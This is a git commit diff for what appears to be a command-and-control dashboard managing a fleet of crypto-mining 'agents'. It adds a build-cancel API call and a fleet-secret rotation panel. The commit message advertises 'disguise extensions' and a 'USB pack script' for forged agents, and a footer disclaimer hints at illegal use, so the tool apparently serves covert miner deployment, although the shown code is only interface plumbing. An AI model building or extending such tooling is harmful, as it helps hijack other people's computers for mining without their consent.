feat: 10-item hardening pass - disguise extensions, USB pack script, AI auth, pool failover, forge cancel, secret rotation, dead REST wired

This commit is contained in:
drjones
2026-05-30 11:44:01 -07:00
parent d073dcd7df
commit 77e1dbbb13
15 changed files with 628 additions and 12 deletions

View File

@@ -18,6 +18,8 @@ async function fetchJSON<T>(url: string, options?: RequestInit): Promise<T> {
export const api = {
// Agents
listAgents: () => fetchJSON<Agent[]>('/agents'),
getAgent: (id: string) => fetchJSON<Agent>(`/agents/${id}`),
getDashboardStats: () => fetchJSON<{ total_agents: number; online_agents: number; total_hashrate: number; total_shares: number }>('/dashboard/stats'),
getAgentStats: (id: string, limit?: number) =>
fetchJSON<HashrateSample[]>(`/agents/${id}/stats${limit ? `?limit=${limit}` : ''}`),
@@ -137,4 +139,10 @@ export const api = {
method: 'POST',
body: JSON.stringify({ username, password }),
}),
// Cancel an in-progress forge build by its cancel token.
cancelBuild: (cancelToken: string) =>
fetchJSON<{ cancelled: boolean }>(`/builder/cancel/${encodeURIComponent(cancelToken)}`, {
method: 'DELETE',
}),
};

View File

@@ -1,6 +1,6 @@
import { useState, useEffect, useRef } from 'react';
import { api } from '../api/client';
import { setStoredAuth, getStoredAuth, clearStoredAuth } from '../api/auth';
import { setStoredAuth, getStoredAuth, clearStoredAuth, authHeaders } from '../api/auth';
import type { ServerConfig } from '../types';
import { HelpTip, FieldHint } from '../components/HelpTip';
import NeonCard from '../components/NeonCard/NeonCard';
@@ -40,6 +40,8 @@ export default function SettingsPage() {
const [sessionUser, setSessionUser] = useState('');
const [sessionPass, setSessionPass] = useState('');
const [userMsg, setUserMsg] = useState('');
const [rotatingSecret, setRotatingSecret] = useState(false);
const [rotateMsg, setRotateMsg] = useState('');
const fileInputRef = useRef<HTMLInputElement>(null);
useEffect(() => {
@@ -148,6 +150,31 @@ export default function SettingsPage() {
setTimeout(() => setUserMsg(''), 3000);
};
const handleRotateSecret = async () => {
if (!window.confirm(
'Rotate fleet secret?\n\n' +
'ALL currently connected agents will be kicked and must be re-forged to reconnect.\n\n' +
'Click OK only if you are ready to re-forge your entire fleet.'
)) return;
setRotatingSecret(true);
setRotateMsg('');
try {
await fetch('/api/v1/server/rotate-secret', {
method: 'POST',
headers: { ...authHeaders() },
}).then(async (r) => {
if (!r.ok) throw new Error(await r.text());
return r.json();
});
setRotateMsg('Secret rotated. Re-forge all agents to reconnect.');
} catch (e: unknown) {
setRotateMsg('Rotation failed: ' + (e instanceof Error ? e.message : String(e)));
} finally {
setRotatingSecret(false);
setTimeout(() => setRotateMsg(''), 6000);
}
};
const handleAddUser = async () => {
if (!newUser || !newPass) return;
try {
@@ -603,6 +630,34 @@ export default function SettingsPage() {
<div style={{ marginTop: '0.5rem', color: userMsg.includes('Failed') ? '#ff4444' : '#00ff00', fontSize: '0.9rem' }}>{userMsg}</div>
)}
</NeonCard>
<NeonCard accent="amber" className="settings-section">
<h2 className="font-display">Fleet Security</h2>
<p className="section-desc">
A <strong>Fleet Secret</strong> is auto-generated on first server start and baked into every forged agent.
Agents without the correct secret are rejected. Use rotation if the secret is compromised
it immediately kicks all connected agents; re-forge to reconnect.
</p>
<div style={{ display: 'flex', alignItems: 'center', gap: '1rem', flexWrap: 'wrap' }}>
<button
type="button"
className="btn btn-outline"
style={{ borderColor: 'var(--accent-red)', color: 'var(--accent-red)' }}
onClick={handleRotateSecret}
disabled={rotatingSecret}
>
{rotatingSecret ? 'Rotating…' : 'Rotate Fleet Secret'}
</button>
<span className="form-hint" style={{ color: 'var(--accent-amber)' }}>
Kicks all agents. You must re-forge after rotating.
</span>
</div>
{rotateMsg && (
<p style={{ marginTop: '0.5rem', color: rotateMsg.startsWith('Rotation failed') ? '#ff4444' : '#00ff44', fontSize: '0.9rem' }}>
{rotateMsg}
</p>
)}
</NeonCard>
</div>
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.